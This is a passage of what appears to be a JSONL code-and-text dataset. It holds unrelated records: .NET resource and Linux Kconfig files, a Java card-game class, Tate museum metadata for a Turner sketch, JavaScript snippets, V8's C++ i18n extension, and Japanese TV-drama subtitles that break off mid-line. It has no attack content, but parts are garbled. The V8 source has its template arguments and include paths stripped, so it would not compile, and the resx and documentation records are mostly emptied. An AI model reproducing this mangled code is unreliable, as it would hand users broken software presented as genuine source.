    \n\n\n\n\n\n\n"} +{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n text/microsoft-resx\n \n \n 2.0\n \n \n System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n \n System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n"} +{"text": "# SPDX-License-Identifier: GPL-2.0-only\nconfig PINCTRL_TEGRA\n\tbool\n\tselect PINMUX\n\tselect PINCONF\n\nconfig PINCTRL_TEGRA20\n\tbool\n\tselect PINCTRL_TEGRA\n\nconfig PINCTRL_TEGRA30\n\tbool\n\tselect PINCTRL_TEGRA\n\nconfig PINCTRL_TEGRA114\n\tbool\n\tselect PINCTRL_TEGRA\n\nconfig PINCTRL_TEGRA124\n\tbool\n\tselect PINCTRL_TEGRA\n\nconfig PINCTRL_TEGRA210\n\tbool\n\tselect PINCTRL_TEGRA\n\nconfig PINCTRL_TEGRA194\n\tbool\n\tselect PINCTRL_TEGRA\n\nconfig PINCTRL_TEGRA_XUSB\n\tdef_bool y if ARCH_TEGRA\n\tselect GENERIC_PHY\n\tselect PINCONF\n\tselect PINMUX\n"} +{"text": "\npackage mage.cards.d;\n\nimport java.util.UUID;\nimport mage.Mana;\nimport mage.abilities.effects.mana.BasicManaEffect;\nimport mage.abilities.effects.common.DestroyTargetEffect;\nimport mage.cards.CardImpl;\nimport mage.cards.CardSetInfo;\nimport mage.constants.CardType;\nimport mage.filter.FilterPermanent;\nimport mage.target.TargetPermanent;\n\n/**\n *\n * @author Loki\n */\npublic final class Deconstruct extends CardImpl {\n\n private static final FilterPermanent filter = new FilterPermanent(\"artifact\");\n\n static {\n filter.add(CardType.ARTIFACT.getPredicate());\n }\n\n public Deconstruct(UUID ownerId, CardSetInfo setInfo) {\n super(ownerId,setInfo,new CardType[]{CardType.SORCERY},\"{2}{G}\");\n\n this.getSpellAbility().addEffect(new DestroyTargetEffect());\n this.getSpellAbility().addTarget(new TargetPermanent(filter));\n this.getSpellAbility().addEffect(new BasicManaEffect(Mana.GreenMana(3)));\n }\n\n public Deconstruct(final Deconstruct card) {\n super(card);\n }\n\n @Override\n public Deconstruct copy() {\n return new Deconstruct(this);\n }\n}\n"} +{"text": "{\n \"acno\": \"D16271\", \n \"acquisitionYear\": 1856, \n \"additionalImages\": [\n {\n \"copyright\": null, \n \"creativeCommons\": null, \n \"filenameBase\": \"D16271\", \n \"sizes\": [\n {\n \"caption\": \"Enhanced image\", \n \"cleared\": true, \n \"file\": \"enhanced_images/D162/D16271_E.jpg\", \n \"height\": 337, \n \"resolution\": 512, \n \"size\": \"large\", \n \"width\": 512\n }\n ]\n }\n ], \n \"all_artists\": \"Joseph Mallord William Turner\", \n \"catTextResId\": 1139783, \n \"catalogueGroup\": {\n \"accessionRanges\": \"D16157-D16326; D17158; D40952-D40954; D41410\", \n \"completeStatus\": \"COMPLETE\", \n \"finbergNumber\": \"CLXXXVIII\", \n \"groupType\": \"Turner Sketchbook\", \n \"id\": 65829, \n \"shortTitle\": \"St Peter's Sketchbook\"\n }, \n \"classification\": \"on paper, unique\", \n \"contributorCount\": 1, \n \"contributors\": [\n {\n \"birthYear\": 1775, \n \"date\": \"1775\\u20131851\", \n \"displayOrder\": 1, \n \"fc\": \"Joseph Mallord William Turner\", \n \"gender\": \"Male\", \n \"id\": 558, \n \"mda\": \"Turner, Joseph Mallord William\", \n \"role\": \"artist\", \n \"startLetter\": \"T\"\n }\n ], \n \"creditLine\": \"Accepted by the nation as part of the Turner Bequest 1856\", \n \"dateRange\": {\n \"endYear\": 1819, \n \"startYear\": 1819, \n \"text\": \"1819\"\n }, \n \"dateText\": \"1819\", \n \"depth\": \"\", \n \"dimensions\": \"support: 114 x 189 mm\", \n \"finberg\": \"CLXXXVIII 63 a\", \n \"foreignTitle\": null, \n \"groupTitle\": \"St Peter's Sketchbook\", \n \"height\": \"189\", \n \"id\": 43627, \n \"inscription\": null, \n \"medium\": \"Graphite on paper\", \n \"movementCount\": 0, \n \"pageNumber\": 130, \n \"subjectCount\": 4, \n \"subjects\": {\n \"children\": [\n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 237, \n \"name\": \"Italy\"\n }\n ], \n \"id\": 108, \n \"name\": \"countries and continents\"\n }, \n {\n \"children\": [\n {\n \"id\": 14936, \n \"name\": \"Rome, Palazzo Vidoni\"\n }\n ], \n \"id\": 107, \n \"name\": \"cities, towns, villages (non-UK)\"\n }\n ], \n \"id\": 106, \n \"name\": \"places\"\n }, \n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 239, \n \"name\": \"Renaissance\"\n }\n ], \n \"id\": 22, \n \"name\": \"periods and styles\"\n }, \n {\n \"children\": [\n {\n \"id\": 1927, \n \"name\": \"palace\"\n }\n ], \n \"id\": 26, \n \"name\": \"residential\"\n }\n ], \n \"id\": 13, \n \"name\": \"architecture\"\n }\n ], \n \"id\": 1, \n \"name\": \"subject\"\n }, \n \"thumbnailCopyright\": null, \n \"thumbnailUrl\": \"http://www.tate.org.uk/art/images/work/D/D16/D16271_8.jpg\", \n \"title\": \"Palazzo Vidoni, Rome\", \n \"units\": \"mm\", \n \"url\": \"http://www.tate.org.uk/art/artworks/turner-palazzo-vidoni-rome-d16271\", \n \"width\": \"114\"\n}"} +{"text": "require('../modules/web.dom.iterable');\nrequire('../modules/es6.string.iterator');\nmodule.exports = require('../modules/core.is-iterable');\n"} +{"text": "/*\n * Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n/**\n * Early error reporting.\n *\n * Attempts to define an ObjectLiteral that has multiple get property\n * assignments with the same name or multiple set property assignments with\n * the same name.\n *\n * @test/compile-error\n */\n\nprint(__FILE__ + \" @\" + __LINE__);\n\nvar obj = { get foo() { return 2; }, get foo() { return 'hello'; } };\n"} +{"text": "\n\n\n# Creating a to do\n\n\n\n\n----\nLicense: [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/),\nCopyright Contributors to the ODPi Egeria project."} +{"text": "// Copyright 2010 the V8 project authors. All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following\n// disclaimer in the documentation and/or other materials provided\n// with the distribution.\n// * Neither the name of Google Inc. nor the names of its\n// contributors may be used to endorse or promote products derived\n// from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include \"i18n-extension.h\"\n\n#include \n#include \n\n#include \"break-iterator.h\"\n#include \"unicode/locid.h\"\n#include \"unicode/uloc.h\"\n\nnamespace v8 {\nnamespace internal {\n\nI18NExtension* I18NExtension::extension_ = NULL;\n\n// TODO(cira): maybe move JS code to a .js file and generata cc files from it?\n// TODO(cira): Remove v8 prefix from v8Locale once we have stable API.\nconst char* const I18NExtension::kSource =\n \"v8Locale = function(optLocale) {\"\n \" native function NativeJSLocale();\"\n \" var properties = NativeJSLocale(optLocale);\"\n \" this.locale = properties.locale;\"\n \" this.language = properties.language;\"\n \" this.script = properties.script;\"\n \" this.region = properties.region;\"\n \"};\"\n \"v8Locale.availableLocales = function() {\"\n \" native function NativeJSAvailableLocales();\"\n \" return NativeJSAvailableLocales();\"\n \"};\"\n \"v8Locale.prototype.maximizedLocale = function() {\"\n \" native function NativeJSMaximizedLocale();\"\n \" return new v8Locale(NativeJSMaximizedLocale(this.locale));\"\n \"};\"\n \"v8Locale.prototype.minimizedLocale = function() {\"\n \" native function NativeJSMinimizedLocale();\"\n \" return new v8Locale(NativeJSMinimizedLocale(this.locale));\"\n \"};\"\n \"v8Locale.prototype.displayLocale_ = function(displayLocale) {\"\n \" var result = this.locale;\"\n \" if (displayLocale !== undefined) {\"\n \" result = displayLocale.locale;\"\n \" }\"\n \" return result;\"\n \"};\"\n \"v8Locale.prototype.displayLanguage = function(optDisplayLocale) {\"\n \" var displayLocale = this.displayLocale_(optDisplayLocale);\"\n \" native function NativeJSDisplayLanguage();\"\n \" return NativeJSDisplayLanguage(this.locale, displayLocale);\"\n \"};\"\n \"v8Locale.prototype.displayScript = function(optDisplayLocale) {\"\n \" var displayLocale = this.displayLocale_(optDisplayLocale);\"\n \" native function NativeJSDisplayScript();\"\n \" return NativeJSDisplayScript(this.locale, displayLocale);\"\n \"};\"\n \"v8Locale.prototype.displayRegion = function(optDisplayLocale) {\"\n \" var displayLocale = this.displayLocale_(optDisplayLocale);\"\n \" native function NativeJSDisplayRegion();\"\n \" return NativeJSDisplayRegion(this.locale, displayLocale);\"\n \"};\"\n \"v8Locale.prototype.displayName = function(optDisplayLocale) {\"\n \" var displayLocale = this.displayLocale_(optDisplayLocale);\"\n \" native function NativeJSDisplayName();\"\n \" return NativeJSDisplayName(this.locale, displayLocale);\"\n \"};\"\n \"v8Locale.v8BreakIterator = function(locale, type) {\"\n \" native function NativeJSBreakIterator();\"\n \" var iterator = NativeJSBreakIterator(locale, type);\"\n \" iterator.type = type;\"\n \" return iterator;\"\n \"};\"\n \"v8Locale.v8BreakIterator.BreakType = {\"\n \" 'unknown': -1,\"\n \" 'none': 0,\"\n \" 'number': 100,\"\n \" 'word': 200,\"\n \" 'kana': 300,\"\n \" 'ideo': 400\"\n \"};\"\n \"v8Locale.prototype.v8CreateBreakIterator = function(type) {\"\n \" return new v8Locale.v8BreakIterator(this.locale, type);\"\n \"};\";\n\nv8::Handle I18NExtension::GetNativeFunction(\n v8::Handle name) {\n if (name->Equals(v8::String::New(\"NativeJSLocale\"))) {\n return v8::FunctionTemplate::New(JSLocale);\n } else if (name->Equals(v8::String::New(\"NativeJSAvailableLocales\"))) {\n return v8::FunctionTemplate::New(JSAvailableLocales);\n } else if (name->Equals(v8::String::New(\"NativeJSMaximizedLocale\"))) {\n return v8::FunctionTemplate::New(JSMaximizedLocale);\n } else if (name->Equals(v8::String::New(\"NativeJSMinimizedLocale\"))) {\n return v8::FunctionTemplate::New(JSMinimizedLocale);\n } else if (name->Equals(v8::String::New(\"NativeJSDisplayLanguage\"))) {\n return v8::FunctionTemplate::New(JSDisplayLanguage);\n } else if (name->Equals(v8::String::New(\"NativeJSDisplayScript\"))) {\n return v8::FunctionTemplate::New(JSDisplayScript);\n } else if (name->Equals(v8::String::New(\"NativeJSDisplayRegion\"))) {\n return v8::FunctionTemplate::New(JSDisplayRegion);\n } else if (name->Equals(v8::String::New(\"NativeJSDisplayName\"))) {\n return v8::FunctionTemplate::New(JSDisplayName);\n } else if (name->Equals(v8::String::New(\"NativeJSBreakIterator\"))) {\n return v8::FunctionTemplate::New(BreakIterator::JSBreakIterator);\n }\n\n return v8::Handle();\n}\n\nv8::Handle I18NExtension::JSLocale(const v8::Arguments& args) {\n // TODO(cira): Fetch browser locale. Accept en-US as good default for now.\n // We could possibly pass browser locale as a parameter in the constructor.\n std::string locale_name(\"en-US\");\n if (args.Length() == 1 && args[0]->IsString()) {\n locale_name = *v8::String::Utf8Value(args[0]->ToString());\n }\n\n v8::Local locale = v8::Object::New();\n locale->Set(v8::String::New(\"locale\"), v8::String::New(locale_name.c_str()));\n\n icu::Locale icu_locale(locale_name.c_str());\n\n const char* language = icu_locale.getLanguage();\n locale->Set(v8::String::New(\"language\"), v8::String::New(language));\n\n const char* script = icu_locale.getScript();\n if (strlen(script)) {\n locale->Set(v8::String::New(\"script\"), v8::String::New(script));\n }\n\n const char* region = icu_locale.getCountry();\n if (strlen(region)) {\n locale->Set(v8::String::New(\"region\"), v8::String::New(region));\n }\n\n return locale;\n}\n\n// TODO(cira): Filter out locales that Chrome doesn't support.\nv8::Handle I18NExtension::JSAvailableLocales(\n const v8::Arguments& args) {\n v8::Local all_locales = v8::Array::New();\n\n int count = 0;\n const icu::Locale* icu_locales = icu::Locale::getAvailableLocales(count);\n for (int i = 0; i < count; ++i) {\n all_locales->Set(i, v8::String::New(icu_locales[i].getName()));\n }\n\n return all_locales;\n}\n\n// Use - as tag separator, not _ that ICU uses.\nstatic std::string NormalizeLocale(const std::string& locale) {\n std::string result(locale);\n // TODO(cira): remove STL dependency.\n std::replace(result.begin(), result.end(), '_', '-');\n return result;\n}\n\nv8::Handle I18NExtension::JSMaximizedLocale(\n const v8::Arguments& args) {\n if (!args.Length() || !args[0]->IsString()) {\n return v8::Undefined();\n }\n\n UErrorCode status = U_ZERO_ERROR;\n std::string locale_name = *v8::String::Utf8Value(args[0]->ToString());\n char max_locale[ULOC_FULLNAME_CAPACITY];\n uloc_addLikelySubtags(locale_name.c_str(), max_locale,\n sizeof(max_locale), &status);\n if (U_FAILURE(status)) {\n return v8::Undefined();\n }\n\n return v8::String::New(NormalizeLocale(max_locale).c_str());\n}\n\nv8::Handle I18NExtension::JSMinimizedLocale(\n const v8::Arguments& args) {\n if (!args.Length() || !args[0]->IsString()) {\n return v8::Undefined();\n }\n\n UErrorCode status = U_ZERO_ERROR;\n std::string locale_name = *v8::String::Utf8Value(args[0]->ToString());\n char min_locale[ULOC_FULLNAME_CAPACITY];\n uloc_minimizeSubtags(locale_name.c_str(), min_locale,\n sizeof(min_locale), &status);\n if (U_FAILURE(status)) {\n return v8::Undefined();\n }\n\n return v8::String::New(NormalizeLocale(min_locale).c_str());\n}\n\n// Common code for JSDisplayXXX methods.\nstatic v8::Handle GetDisplayItem(const v8::Arguments& args,\n const std::string& item) {\n if (args.Length() != 2 || !args[0]->IsString() || !args[1]->IsString()) {\n return v8::Undefined();\n }\n\n std::string base_locale = *v8::String::Utf8Value(args[0]->ToString());\n icu::Locale icu_locale(base_locale.c_str());\n icu::Locale display_locale =\n icu::Locale(*v8::String::Utf8Value(args[1]->ToString()));\n icu::UnicodeString result;\n if (item == \"language\") {\n icu_locale.getDisplayLanguage(display_locale, result);\n } else if (item == \"script\") {\n icu_locale.getDisplayScript(display_locale, result);\n } else if (item == \"region\") {\n icu_locale.getDisplayCountry(display_locale, result);\n } else if (item == \"name\") {\n icu_locale.getDisplayName(display_locale, result);\n } else {\n return v8::Undefined();\n }\n\n if (result.length()) {\n return v8::String::New(\n reinterpret_cast(result.getBuffer()), result.length());\n }\n\n return v8::Undefined();\n}\n\nv8::Handle I18NExtension::JSDisplayLanguage(\n const v8::Arguments& args) {\n return GetDisplayItem(args, \"language\");\n}\n\nv8::Handle I18NExtension::JSDisplayScript(\n const v8::Arguments& args) {\n return GetDisplayItem(args, \"script\");\n}\n\nv8::Handle I18NExtension::JSDisplayRegion(\n const v8::Arguments& args) {\n return GetDisplayItem(args, \"region\");\n}\n\nv8::Handle I18NExtension::JSDisplayName(const v8::Arguments& args) {\n return GetDisplayItem(args, \"name\");\n}\n\nI18NExtension* I18NExtension::get() {\n if (!extension_) {\n extension_ = new I18NExtension();\n }\n return extension_;\n}\n\nvoid I18NExtension::Register() {\n static v8::DeclareExtension i18n_extension_declaration(I18NExtension::get());\n}\n\n} } // namespace v8::internal\n"} +{"text": "1\n00:00:34,453 --> 00:00:36,455\n(国木田)お前ら 本気で やんの?\n\n2\n00:00:36,455 --> 00:00:39,458\n(国木田)別に こんなん\nミッションに入ってないし➡\n\n3\n00:00:39,458 --> 00:00:41,460\n無理にやる必要ないんだけど。\n(訓練生たちの会話)\n\n4\n00:00:41,460 --> 00:00:43,462\n(山田)エアロスペース 最高!\n\n5\n00:00:43,462 --> 00:00:45,462\n何 言ってるか 分かんねえよ。\nマスク 外せ。\n\n6\n00:00:47,466 --> 00:00:49,468\n(晴)だって 面白そうですし。\nこの訓練。\n\n7\n00:00:49,468 --> 00:00:51,470\n(千里)せっかく こういう施設が\nあるんだしね。\n\n8\n00:00:51,470 --> 00:00:53,472\n(岸井)日本じゃ なかなか\nできないんですよね?\n\n9\n00:00:53,472 --> 00:00:56,475\n(小鳥)でも ちょっと ドキドキするね。\n(国木田)しょうがねえな。\n\n10\n00:00:56,475 --> 00:00:59,478\n(諸星)\nでも 俺は やめとこうかな。➡\n\n11\n00:00:59,478 --> 00:01:01,480\n酸素マスクの仕組みは\nもう 分かったし。\n\n12\n00:01:01,480 --> 00:01:04,483\n(山田)お前 ノリ悪いって。\nもっと楽しめや!\n\n13\n00:01:04,483 --> 00:01:07,486\nやりたくないやつは\nやんなくていいぞ。\n\n14\n00:01:07,486 --> 00:01:10,489\nいざってときに パニックに\nならなきゃいいだけの話だかんな。\n\n15\n00:01:10,489 --> 00:01:13,492\nあっ…。\nじゃあ やっぱ やろうかな。\n\n16\n00:01:13,492 --> 00:01:16,495\nいいか。 遊びじゃねえんだぞ。\n\n17\n00:01:16,495 --> 00:01:19,498\nなめてかかると\nとんでもねえ目に遭うぞ。➡\n\n18\n00:01:19,498 --> 00:01:22,501\nじゃ 訓練の説明する。\n今から 高度3万フィート以上の➡\n\n19\n00:01:22,501 --> 00:01:25,504\n低酸素状態を体験してもらう。➡\n\n20\n00:01:25,504 --> 00:01:27,506\nもし 少しでも\n体に異常を感じたら➡\n\n21\n00:01:27,506 --> 00:01:29,508\nそのマスクかぶれ。\n(訓練生たち)はい。\n\n22\n00:01:29,508 --> 00:01:33,446\n(国木田)訓練は\n手遊び歌を歌いながらやる。➡\n\n23\n00:01:33,446 --> 00:01:35,448\n誰かに異常が出たときに\nすぐ発見できるからな。\n\n24\n00:01:35,448 --> 00:01:39,452\n手遊び歌って 何を歌えば…。\n『アルプス一万尺』とか?\n\n25\n00:01:39,452 --> 00:01:41,452\n(国木田)そんなの お前ら\n適当に決めろ。\n\n26\n00:01:43,456 --> 00:01:45,458\n(国木田)よし 始めんぞ。\nLet's begin.\n\n27\n00:01:45,458 --> 00:01:47,460\nじゃ 行くよ。 せ~の。\n\n28\n00:01:47,460 --> 00:01:49,462\n(訓練生たち)\n♬「グー チョキ パーで」\n\n29\n00:01:49,462 --> 00:01:51,464\n♬「グー チョキ パーで」\n\n30\n00:01:51,464 --> 00:01:55,468\n♬「なに つくろう なに つくろう」\n\n31\n00:01:55,468 --> 00:01:58,471\n♬「みぎてが チョキで\nひだりてが グーで」\n\n32\n00:01:58,471 --> 00:02:02,475\n♬「パラシュート パラシュート」\n\n33\n00:02:02,475 --> 00:02:04,477\n(訓練生たち)\n♬「グー チョキ パーで」\n\n34\n00:02:04,477 --> 00:02:06,479\n2,000フィート。\n\n35\n00:02:06,479 --> 00:02:10,483\n(訓練生たち)\n♬「なに つくろう なに つくろう」\n\n36\n00:02:10,483 --> 00:02:13,486\n♬「みぎてが グーで\nひだりても グーで」\n\n37\n00:02:13,486 --> 00:02:17,490\n♬「ゴリラ ゴリラ」\n\n38\n00:02:17,490 --> 00:02:19,492\n(訓練生たち)\n♬「グー チョキ パーで」➡\n\n39\n00:02:19,492 --> 00:02:21,494\n♬「グー チョキ パーで」\n\n40\n00:02:21,494 --> 00:02:23,496\n♬「なに つくろう」\n\n41\n00:02:23,496 --> 00:02:25,498\n4,000フィート。\n\n42\n00:02:25,498 --> 00:02:28,501\n(山田)♬「みぎてが パーで\nひだりても パーで…」\n\n43\n00:02:28,501 --> 00:02:34,440\n(小鳥)♬「グー チョキ パーで\nグー チョキ パーで…」\n\n44\n00:02:34,440 --> 00:02:37,443\nストップ。 ストップ!\n\n45\n00:02:37,443 --> 00:02:39,443\n(小鳥)♬「チョキ パーで…」\n(国木田)小鳥!\n\n46\n00:02:43,449 --> 00:02:47,449\n大丈夫だ。 心配ない。\n外で休ませよう。\n\n47\n00:02:49,455 --> 00:02:52,458\n(山田)重っ!\nダイエットしろよ ダイエット。\n\n48\n00:02:52,458 --> 00:02:54,460\n(小鳥)大丈夫だよ。\n\n49\n00:02:54,460 --> 00:02:56,462\nえっ そんなに きつかったか?\n全然。\n\n50\n00:02:56,462 --> 00:03:00,466\n(国木田)当たり前だ。\nまだ 普段 飛んでる高さだよ。\n\n51\n00:03:00,466 --> 00:03:04,466\nったく…。 あいつ どんだけ\nノミの心臓なんだよ。\n\n52\n00:03:07,473 --> 00:03:10,476\nあっ…。➡\n\n53\n00:03:10,476 --> 00:03:13,479\nなあ 知ってた? 近くに 有名な\n動物園があるらしいんだけどさ。\n\n54\n00:03:13,479 --> 00:03:15,481\nレッドリバーでしょ?\n\n55\n00:03:15,481 --> 00:03:17,483\n(岸井)\nクリスマス休暇に入ったら➡\n\n56\n00:03:17,483 --> 00:03:20,486\n一緒に ゴリラでも見に行かね?\nうん。 いいけど。\n\n57\n00:03:20,486 --> 00:03:22,488\nマジ?\nうん。 あっ ねえ みんな➡\n\n58\n00:03:22,488 --> 00:03:24,490\n泰治が クリスマスに\nゴリラ 見に行こうって。\n\n59\n00:03:24,490 --> 00:03:26,492\n(岸井)えっ いや\nそういう意味じゃ…。\n\n60\n00:03:26,492 --> 00:03:28,494\n(山田)おお ええな それ。\nじゃあ 決まりだね。\n\n61\n00:03:28,494 --> 00:03:30,496\n(岸井)あっ。\n(小鳥)えっ でも 何で ゴ…。\n\n62\n00:03:30,496 --> 00:03:32,431\n≪(バイクの走行音)\n\n63\n00:03:32,431 --> 00:03:34,431\n(小鳥)あれ 教官じゃない?\n\n64\n00:03:36,435 --> 00:03:38,437\nおお。\n\n65\n00:03:38,437 --> 00:03:41,440\n教官。\n\n66\n00:03:41,440 --> 00:03:43,442\n(山田)今から ナンパして\n食事っすか?\n\n67\n00:03:43,442 --> 00:03:46,445\n(国木田)バカ。 普通 そんなやつ\nいねえだろ。 飯食い行くだけだよ。\n\n68\n00:03:46,445 --> 00:03:48,447\n(小鳥)じゃあ 寮で 一緒に\n食べませんか?\n\n69\n00:03:48,447 --> 00:03:50,449\n今日は 晴が ロイと一緒に\n太巻き作るって言ってたし。\n\n70\n00:03:50,449 --> 00:03:52,451\n(国木田)そんな めんどくせえこと\nできるか。➡\n\n71\n00:03:52,451 --> 00:03:54,453\nお前ら どうせ\n飯だけじゃなくて➡\n\n72\n00:03:54,453 --> 00:03:56,455\n自習に付き合わせようと\nしてんだろ。\n\n73\n00:03:56,455 --> 00:03:58,457\n(山田)バレました?\n(国木田)お前らの魂胆➡\n\n74\n00:03:58,457 --> 00:04:00,459\nバレバレなんだよ。 じゃ。\n\n75\n00:04:00,459 --> 00:04:02,461\nいいじゃないですか たまには。\n一人の食事じゃ 寂しいでしょ?\n\n76\n00:04:02,461 --> 00:04:06,465\nお前の質問が\n一番 めんどくせえんだよ。\n\n77\n00:04:06,465 --> 00:04:09,468\nあ~ おなか すいた。\n\n78\n00:04:09,468 --> 00:04:11,470\nえっ?\n晴 さっきの話だけど やっぱ…。\n\n79\n00:04:11,470 --> 00:04:13,472\nえっ?\n(すず)おかえり。\n\n80\n00:04:13,472 --> 00:04:15,474\n何で?\n(すず)ご飯にする?\n\n81\n00:04:15,474 --> 00:04:17,476\n(すず)あっ それとも\n先に シャワー浴びちゃう?\n\n82\n00:04:17,476 --> 00:04:21,480\nすずちゃん 来てくれたんだ~!\nもちろんだよ。\n\n83\n00:04:21,480 --> 00:04:24,483\nマジかよ…。\n\n84\n00:04:24,483 --> 00:04:26,485\nあっ すずちゃん!\n\n85\n00:04:26,485 --> 00:04:28,487\n(国木田)放せよ。 あっ。\n\n86\n00:04:28,487 --> 00:04:30,489\n(小鳥)え~! なっ 何で\n何で 何で ここにいんの?\n\n87\n00:04:30,489 --> 00:04:32,424\n(すず)泰治が「来い」って\nしつこいからさ。\n\n88\n00:04:32,424 --> 00:04:35,427\n言ったかなぁ? 俺。\n(諸星)信じられないな 訓練中に。\n\n89\n00:04:35,427 --> 00:04:38,430\n(かのこ)でも そろそろ\n日本食が恋しくなるころでしょ?\n\n90\n00:04:38,430 --> 00:04:40,432\nかのこさん!\n(小鳥)一緒に?\n\n91\n00:04:40,432 --> 00:04:43,435\n料理は 彼が 手伝ってくれるから\nすごく 楽ちんなの。\n\n92\n00:04:43,435 --> 00:04:45,437\n(ロイ)どういたしまして。\nってことは 今夜は➡\n\n93\n00:04:45,437 --> 00:04:48,440\n日本食パーティー?\n(訓練生たち)やった~!\n\n94\n00:04:48,440 --> 00:04:50,442\nってことで\nもう帰れませんから➡\n\n95\n00:04:50,442 --> 00:04:53,445\nはい。 座ってください。\n何だよ…。\n\n96\n00:04:53,445 --> 00:04:57,449\n(倫子)ずいぶんと\n大胆になったもんねぇ。\n\n97\n00:04:57,449 --> 00:05:00,452\n(山田)倫子さん!\n来てくれたん… あっ。\n\n98\n00:05:00,452 --> 00:05:03,455\n(倫子)虫の知らせって\n当たるもんだねぇ。\n\n99\n00:05:03,455 --> 00:05:07,459\nだから面倒だって言ったんだよ。\n\n100\n00:05:07,459 --> 00:05:10,462\n何 あの女。\n孝之助にも 手 出す気?\n\n101\n00:05:10,462 --> 00:05:12,464\n手当たり次第って\n感じじゃないですか?\n\n102\n00:05:12,464 --> 00:05:14,466\nマジ?\n\n103\n00:05:14,466 --> 00:05:16,466\n(訓練生たち)いただきま~す!\n\n104\n00:05:18,470 --> 00:05:20,472\n(山田)ん~。 やっぱ\nかのこさんの作った煮物➡\n\n105\n00:05:20,472 --> 00:05:22,474\nめっちゃ うまい!\n何か すでに➡\n\n106\n00:05:22,474 --> 00:05:26,478\n私たちの おふくろの味って感じ。\n思い出すなぁ 寮の食事。\n\n107\n00:05:26,478 --> 00:05:28,480\n遠慮しないで食べてね。\n\n108\n00:05:28,480 --> 00:05:31,500\n(かのこ)このグラタンとバーニャカウダ\n2人が作ってくれたの。\n\n109\n00:05:31,500 --> 00:05:33,419\n一応 得意料理 作ってみました。\n\n110\n00:05:33,419 --> 00:05:35,421\n口に合うといいけど。\n(倫子)取ろうか? バーニャカウダ。\n\n111\n00:05:35,421 --> 00:05:40,426\nっつか グラタンと\nバーニャ何ちゃらって日本食か?\n\n112\n00:05:40,426 --> 00:05:42,428\n(倫子)違うの?\n\n113\n00:05:42,428 --> 00:05:45,431\nあっ うまそう。\nこの だし巻き。\n\n114\n00:05:45,431 --> 00:05:47,433\nうまっ。 江戸の味がする。\n\n115\n00:05:47,433 --> 00:05:50,436\nさすが かのこさんだ。 やっぱ\nだしが違うもん。 だしが。 なあ。\n\n116\n00:05:50,436 --> 00:05:53,439\n泰治 その煮物 取って。\n「泰治」?\n\n117\n00:05:53,439 --> 00:05:56,442\n千里 お前 がっつき過ぎじゃねえ?\n(倫子)「千里」?\n\n118\n00:05:56,442 --> 00:05:58,444\nそういえば\nホテルって どこにしたの?\n\n119\n00:05:58,444 --> 00:06:00,446\n(すず・倫子)決めてないけど。\n(岸井のせき)\n\n120\n00:06:00,446 --> 00:06:02,448\nバックパッカーか。\n\n121\n00:06:02,448 --> 00:06:04,450\n私は 千里ちゃんのお部屋に\nお邪魔しちゃおっかな。\n\n122\n00:06:04,450 --> 00:06:06,452\nうん。 どうぞ どうぞ。\nほら 私たちは➡\n\n123\n00:06:06,452 --> 00:06:10,452\n泊まる所 決まってるし。\n(すず・倫子)ね~。\n\n124\n00:06:13,459 --> 00:06:16,462\n≪(国木田)おい 手塚。\nちょっと。➡\n\n125\n00:06:16,462 --> 00:06:19,465\nちょっと。\n何ですか? 話って。\n\n126\n00:06:19,465 --> 00:06:24,470\nいや 今 訓練中だからよ。\n規律を乱すわけにはいかねえんだ。\n\n127\n00:06:24,470 --> 00:06:27,473\nえっ?\n\n128\n00:06:27,473 --> 00:06:29,475\n(国木田・岸井)ハハ。\n\n129\n00:06:29,475 --> 00:06:31,443\n教官 ダッシュで帰っていったな。\n\n130\n00:06:31,443 --> 00:06:34,313\nマジで色々と質問したかったのに。\n\n131\n00:06:34,313 --> 00:06:37,316\nせっかく 直接 指導してもらえる\nチャンスだったのにねぇ。\n\n132\n00:06:37,316 --> 00:06:41,320\nいや けど\n俺らの身にもなってくれって。\n\n133\n00:06:41,320 